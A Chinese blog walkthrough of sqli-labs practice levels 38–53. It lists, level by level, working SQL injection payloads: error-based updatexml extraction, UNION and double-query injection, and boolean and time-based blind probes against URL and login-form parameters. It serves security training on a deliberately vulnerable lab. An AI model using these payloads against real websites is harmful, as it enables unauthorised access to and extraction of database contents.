【Web安全靶場】sqli-labs-master 38-53 Stacked-Injections

sqli-labs-master 38-53 Stacked-Injections

其他關卡和靶場看專欄…

文章目錄

  • sqli-labs-master 38-53 Stacked-Injections
    • 第三十八關-報錯注入
    • 第三十九關-報錯注入
    • 第四十關-盲注
    • 第四十一關-盲注
    • 第四十二關-聯合報錯雙查詢注入
    • 第四十三關-報錯注入
    • 第四十四關-盲注
    • 第四十五關-盲注
    • 第四十六關-報錯注入
    • 第四十七關-報錯注入
    • 第四十八關-時間盲注
    • 第四十九關-時間盲注
    • 第五十關-報錯注入
    • 第五十一關-報錯注入
    • 第五十二關-時間盲注
    • 第五十三關-時間盲注
  • 總結

第三十八關-報錯注入

?id=1'
?id=1' and '1'='1

通過上述語句可以判斷這是單引號閉合,根據報錯信息可以試一下報錯注入:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在這里插入圖片描述

第三十九關-報錯注入

?id=2-1

通過上述語句回顯1的信息可以初步判斷這是數字型注入,根據報錯信息可以嘗試報錯注入

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

在這里插入圖片描述

第四十關-盲注

?id=1'
?id=1' and '1'='1
?id=1' and '1'='2
?id=1' and length(database())=8 and '1'='1

對于第一個語句頁面沒有回顯錯誤信息,所以假設為單引號閉合試一下第二個和第三個發現頁面僅僅有顯示和不顯示,所以使用盲注

第四十一關-盲注

?id=2-1
?id=2 and 1=1

第一段語句回顯1的信息,第二段回顯2的信息,得知這是字符型注入,沒有報錯信息,所以試一下盲注:

?id=1 and length(database())=8

第四十二關-聯合報錯雙查詢注入

對賬號密碼分別進行單引號探針發現,僅僅password部分有報錯,根據報錯信息得知這是單引號閉合,嘗試union注入:

login_user=1&login_password=1' order by 3#&mysubmit=Login
login_user=1&login_password=1' order by 4#&mysubmit=Login

在這里插入圖片描述

login_user=1&login_password=1' union select 1,database(),3#&mysubmit=Login

在這里插入圖片描述

login_user=1&login_password=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#&mysubmit=Login

在這里插入圖片描述

同樣也可以進行雙查詢注入:

login_user=1&login_password=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&mysubmit=Login

在這里插入圖片描述

也可以直接updatexml報錯注入:

login_user=1&login_password=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&mysubmit=Login

在這里插入圖片描述

第四十三關-報錯注入

對賬號密碼進行引號探針發現僅僅password部分顯示報錯信息,根據報錯信息可以知道這是單引號加上括號閉合:

在這里插入圖片描述

嘗試報錯注入,報錯內容正常回顯:

login_user=1&login_password=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&mysubmit=Login

在這里插入圖片描述

第四十四關-盲注

login_user=1&login_password=1' or '1'='1&mysubmit=Login

在對賬號和密碼添加引號時候發現沒有任何報錯,所以有可能print_r(mysqli_error())被注釋了。嘗試or,發現成功登錄:

在這里插入圖片描述

所以判斷這是單引號閉合,由于沒有報錯信息所以嘗試Union注入。輸入order by判斷字段數時候,發現原來應有的報錯信息變成了登錄失敗,order by 3以內為成功,4及以上為登錄失敗,所以union select 1,2,3判斷回顯位,發現沒有回顯位,所以只能進行盲注:

login_user=1&login_password=1' or length(database())=8 -- #&mysubmit=Login

第四十五關-盲注

login_user=1&login_password=1' or '1'='1&mysubmit=Login
login_user=1&login_password=1" or "1"="1&mysubmit=Login

通過上述語句并沒有得到任何的報錯信息,所以猜測存在括號:

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

查看源代碼發現確實存在括號,所以構造閉合,成功登錄:

login_user=1&login_password=1') or ('1'='1&mysubmit=Login

在這里插入圖片描述

由于沒有報錯信息所以使用盲注:

login_user=1&login_password=1') or length(database())=8 -- #&mysubmit=Login

第四十六關-報錯注入

查看源代碼發現order by關鍵字,這個關鍵字的作用就是針對第幾列進行升序排序

$sql = "SELECT * FROM users ORDER BY $id";

對參數值進行探針,發現order by后面是可以添加語句的,添加引號發現存在報錯信息,所以嘗試報錯注入:

?sort=3 and sleep(3)
?sort=4 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

在這里插入圖片描述

第四十七關-報錯注入

添加引號之后回顯報錯信息,可知這是單引號閉合,并且可以嘗試報錯注入

在這里插入圖片描述

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在這里插入圖片描述

第四十八關-時間盲注

添加單引號之后發現沒有返回排序信息,并且沒有報錯信息,所以猜測報錯函數被注釋了,故嘗試盲注。使用2-1發現和1的效果是一樣的,所以判斷是數字型注入

?sort=1 and if(length(database())=8,sleep(2),1)

這一道題使用不了布爾盲注,因為sort的值僅僅是order by的值而不是where條件值。

第四十九關-時間盲注

使用單引號探針沒有回顯報錯信息,所以猜測報錯函數被注釋了,所以嘗試:

?sort=1' -- #

頁面正常顯示,所以判斷這是單引號閉合,由于報錯函數被注釋所以使用盲注:

?sort=1' and if(length(database())=8,sleep(1),1) -- #

第五十關-報錯注入

單引號探針顯示報錯信息,所以判斷這是數字型注入,且可以嘗試報錯注入:

在這里插入圖片描述

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

在這里插入圖片描述

第五十一關-報錯注入

好簡單:

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在這里插入圖片描述

第五十二關-時間盲注

引號探針沒有回顯任何信息,使用1’ and ‘1’='1并沒有正常顯示,使用2-1回顯1的信息,所以判斷是數字型注入,由于沒有報錯信息,所以使用時間盲注:

?sort=1 and if(length(database())=8,sleep(1),1)

第五十三關-時間盲注

服了,后面為什么這么簡單…加上單引號沒有東西顯示,所以我們嘗試閉合并使用時間盲注:

?sort=1' and sleep(3) -- #

有延時,所以存在時間盲注。

總結

后面的真的好簡單,沒啥好總結的,做了這么多題發現這一部分沒啥好看的。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/715565.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/715565.shtml
英文地址,請注明出處:http://en.pswp.cn/news/715565.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

「爬蟲職海錄」三鎮爬蟲

HI,朋友們好 「爬蟲職海錄」第三期更新啦! 本欄目的內容方向會以爬蟲相關的“崗位分析”和“職場訪談”為主,方便大家了解一下當下的市場行情。 本欄目持續更新,暫定收集國內主要城市的爬蟲崗位相關招聘信息,有求職…

【高級數據結構】Trie樹

原理 介紹 高效地存儲和查詢字符串的數據結構。所以其重點在于:存儲、查詢兩個操作。 存儲操作 示例和圖片來自:https://blog.csdn.net/qq_42024195/article/details/88364485 假設有這么幾個字符串:b,abc,abd&…

Vue中如何實現條件渲染?

在Vue中實現條件渲染非常簡單且靈活&#xff0c;主要通過Vue的指令來實現。在Vue中&#xff0c;我們可以使用v-if和v-else指令來根據條件來渲染不同的內容。下面就讓我們通過一個簡單的示例來演示如何在Vue中實現條件渲染&#xff1a; <!DOCTYPE html> <html lang&qu…

GO泛型相關

通過引入 類型形參 和 類型實參 這兩個概念&#xff0c;我們讓一個函數獲得了處理多種不同類型數據的能力&#xff0c;這種編程方式被稱為 泛型編程。 2. Go的泛型 類型形參 (Type parameter)類型實參(Type argument)類型形參列表( Type parameter list)類型約束(Type constr…

Pake 輕松構建輕量級多端桌面應用

Pake 利用 Rust 輕松構建輕量級多端桌面應用&#xff0c;支持 Mac / Windows / Linux。 小白用戶&#xff1a;可以使用 「常用包下載」 方式來體驗 Pake 的能力&#xff0c;也可試試 Action 方式。 開發用戶&#xff1a;可以使用 「命令行一鍵打包」&#xff0c;對 Mac 比較友…

Matlab 機器人工具箱 動力學

文章目錄 R.dynR.fdynR.accelR.rneR.gravloadR.inertiaR.coriolisR.payload官網:Robotics Toolbox - Peter Corke R.dyn 查看動力學參數 mdl_puma560; p560.dyn;%查看puma560機械臂所有連桿的動力學參數 p560.dyn(2);%查看puma560機械臂第二連桿的動力學參數 p560.links(2)…

react父子組件傳參demo

父組件代碼 /* eslint-disable next/next/no-img-element */ "use client"; import React, { useEffect, useState } from "react"; import WxTip from ../components/WxTipconst Download () > {const [showTip, setshowTip] useState<boolean…

javaweb day9 day10

昨天序號標錯了 vue的組件庫Elent 快速入門 寫法 常見組件 復制粘貼 打包部署

高斯消元法解線性方程組

高斯消元法 基本性質&#xff1a; 把某一行乘一個非 0 0 0的數 (方程的兩邊同時乘上一個非 0 0 0數不改變方程的解) 交換某兩行 (交換兩個方程的位置) 把某行的若干倍加到另一行上去 &#xff08;把一個方程的若干倍加到另一個方程上去&#xff09; 算法步驟 枚舉每一列c …

洛谷p1225 c++(使用高精度)

題解: 一開始我這個代碼想到的是使用遞歸來求解 int digui(int n){int sum=0;if(n==1)sum=1;if(n==2)sum=2;if(n==1||n==2)return sum;if(n>2){return sum+=digui(n-1)+digui(n-2);} } 但是后面發現明顯超時,我試圖用記憶化搜索來搶救一下,所以就有了下面代碼 int di…

圖論 - DFS深度優先遍歷、BFS廣度優先遍歷、拓撲排序

文章目錄 前言Part 1&#xff1a;DFS&#xff08;深度優先遍歷&#xff09;一、排列數字1.題目描述輸入格式輸出格式數據范圍輸入樣例輸出樣例 2.算法 二、n皇后問題1.問題描述輸入格式輸出格式數據范圍輸入樣例輸出樣例 2.算法 三、樹的重心1.問題描述輸入格式輸出格式數據范圍…

計算機二級Python刷題筆記------基本操作題23、33、35、37(考察字符串)

文章目錄 第二十三題&#xff08;字符串替換&#xff1a;replace(old,new)&#xff09;第三十三題&#xff08;字符串遍歷&#xff09;第三十五題&#xff08;字符串與列表&#xff09;第三十七題&#xff08;拼接字符串&#xff09; 第二十三題&#xff08;字符串替換&#xf…

第19章-IPv6基礎

1. IPv4的缺陷 2. IPv6的優勢 3. 地址格式 3.1 格式 3.2 長度 4. 地址書寫壓縮 4.1 段內前導0壓縮 4.2 全0段壓縮 4.3 例子1 4.4 例子 5. 網段劃分 5.1 前綴 5.2 接口標識符 5.3 前綴長度 5.4 地址規模分類 6. 地址分類 6.1 單播地址 6.2 組播地址 6.3 任播地址 6.4 例子 …

Redis學習------實戰篇----2024/02/29----緩存穿透,雪崩,擊穿

1.緩存穿透 Overridepublic Result queryById(Long id) {//1.從redis中查詢緩存String key CACHE_SHOP_KEY id;String shopJson stringRedisTemplate.opsForValue().get(key);//2.判斷是否存在//3.存在則直接返回if (StrUtil.isNotBlank(shopJson)){Shop shop JSONUtil.toB…

每日一題 2867統計樹中的合法路徑

2867. 統計樹中的合法路徑數目 題目描述&#xff1a; 給你一棵 n 個節點的無向樹&#xff0c;節點編號為 1 到 n 。給你一個整數 n 和一個長度為 n - 1 的二維整數數組 edges &#xff0c;其中 edges[i] [ui, vi] 表示節點 ui 和 vi 在樹中有一條邊。 請你返回樹中的 合法路…

Nginx 反向代理入門教程

Nginx 反向代理入門教程 一、什么是反向代理 反向代理&#xff08;Reverse Proxy&#xff09;方式是指以代理服務器來接受Internet上的連接請求&#xff0c;然后將請求轉發給內部網絡上的服務器&#xff1b;并將從服務器上得到的結果返回給Internet上請求連接的客戶端&#x…

Vue 2.0 與 Vue 3.0 的主要差異

Vue 2.0 與 Vue 3.0 的主要差異 在前端框架的世界中&#xff0c;Vue.js 已經成為了一股不可忽視的力量。自從 Vue.js 首次亮相以來&#xff0c;它便以其輕量級、靈活性和易用性贏得了開發者的喜愛。然而&#xff0c;隨著技術的不斷進步和開發者需求的不斷變化&#xff0c;Vue.…

Android AppCompatActivity 方法詳解

在 Android 開發中&#xff0c;AppCompatActivity 是一個常用的類&#xff0c;它提供了對新版 Android 特性在舊版 Android 上的兼容支持。作為 Android 支持庫的一部分&#xff0c;它通常被用作活動&#xff08;Activity&#xff09;的基類。下面我們將介紹 AppCompatActivity…

Vins-Moon配準運行

Vins-Moon運行 源碼地址電腦配置環境配置編譯適配Kitti數據集運行結果Euroc數據集kitti數據集 evo評估&#xff08;KITTI數據&#xff09;輸出軌跡(tum格式)結果 源碼地址 源碼鏈接&#xff1a;https://github.com/HKUST-Aerial-Robotics/VINS-Mono.git 電腦配置 Ubuntu 18.…

破解SQL Server迷局,徹底解決“管道的另一端無任何進程錯誤233”

問題描述&#xff1a;在使用 SQL Server 2014的時候&#xff0c;想用 SQL Server 身份方式登錄 SQL Servcer Manager&#xff0c;結果報錯&#xff1a; 此錯誤消息&#xff1a;表示SQL Server未偵聽共享內存或命名管道協議。 問題原因&#xff1a;此問題的原因有多種可能 管道…